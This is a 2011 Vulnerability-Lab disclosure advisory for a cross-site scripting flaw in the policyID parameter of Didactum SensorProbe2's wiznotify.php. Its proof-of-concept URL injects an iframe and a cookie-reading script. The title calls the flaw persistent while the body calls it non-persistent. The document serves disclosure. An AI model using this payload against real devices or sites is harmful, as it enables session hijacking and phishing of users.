Didactum SensorProbe v2.x - Persistent Web Vulnerability

Document Title:
===============
Didactum SensorProbe v2.x - Persistent Web Vulnerability



Release Date:
=============
2011-08-23


Vulnerability Laboratory ID (VL-ID):
====================================
109


Product & Service Introduction:
===============================
Netzwerkgestützte Überwachungslösungen zum Schutz Ihrer Geschäftsprozesse
In der heutigen Zeit werden an Unternehmen sehr hohe Anforderungen an die Verfügbarkeit der IT-Systeme gestellt. 
Die IT ist zweifellos zu einem unverzichtbaren Teil der Wertschöpfungkette geworden.

Möglicher Totalausfall von Rechenzentrum und Serverraum
Haben Sie sich einmal Gedanken darüber gemacht, welche gravierenden Konsequenzen ein möglicher Ausfall Ihrer 
EDV-Systeme verursachen würde? Sind Ihnen die Kosten für jede Stunde Ausfallzeit in Ihrem Unternehmen bekannt? 
Kennen Sie die möglichen rechtlichen Konsequenzen eines Ausfalls der EDV? Sind Ihnen die Anforderungen der 
IT-Compliance bekannt? Was würde Ihr Geschäftsführer dazu sagen, wenn er am Montag Morgen hören würde, dass 
die Warenwirtschaft durch Leckage der Klimaanlage im Rechenzentrum / Serverraum nicht mehr verfügbar wäre? 
Beachten Sie auch die Umsetzung des EURO-SOX in das jeweilige nationale Recht der EU-Mitgliedstaaten. 

(Copy of the Vendor Homepage: http://www.didactum.com/Main.HomePage.html)


Abstract Advisory Information:
==============================
Vulnerability-Lab discovered a non-persistent Cross Site Scripting vulnerability on Didactum Security System Application.


Vulnerability Disclosure Timeline:
==================================
2011-08-23:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A non-persistent input validation vulnerability is detected on Didactums SensorProbe2.
Remote attackers can force requests to phish or hijack customer sessions on client-side application requests.

Vulnerable Module(s):
                                                       [+] Policy ID


Proof of Concept (PoC):
=======================
The client-side vulnerability can be exploited by remote attacker with high required user inter action.
For demonstration or reproduce ...

			Server:		http://didactum-xxxx.xxxx.com/
			File:		wiznotify.php
			Para:		?Page=4&policyID=[BUG!]&PHPSESSID=37fd58dcccd45cf7af835b7b467b1337

PoC:
http://didactum-xxxx.xxxx.com/wiznotify.php?Page=4&policyID=>"<iframe src=http://vulnerability-lab.com width=800 height=800>
%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221&PHPSESSID=37fd58dcccd45cf7af835b7b467b8834

Reference:
http://didactum-xxxx.xxxx.com/wiznotify.php?Page=4&policyID=[BUG!!!]&PHPSESSID=37fd58dcccd45cf7af835b7b467b8834


Security Risk:
==============
The security risk of the non-persistent vulnerability is estimated as low(+).


Credits & Authors:
==================
Vulnerability Research Laboratory


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory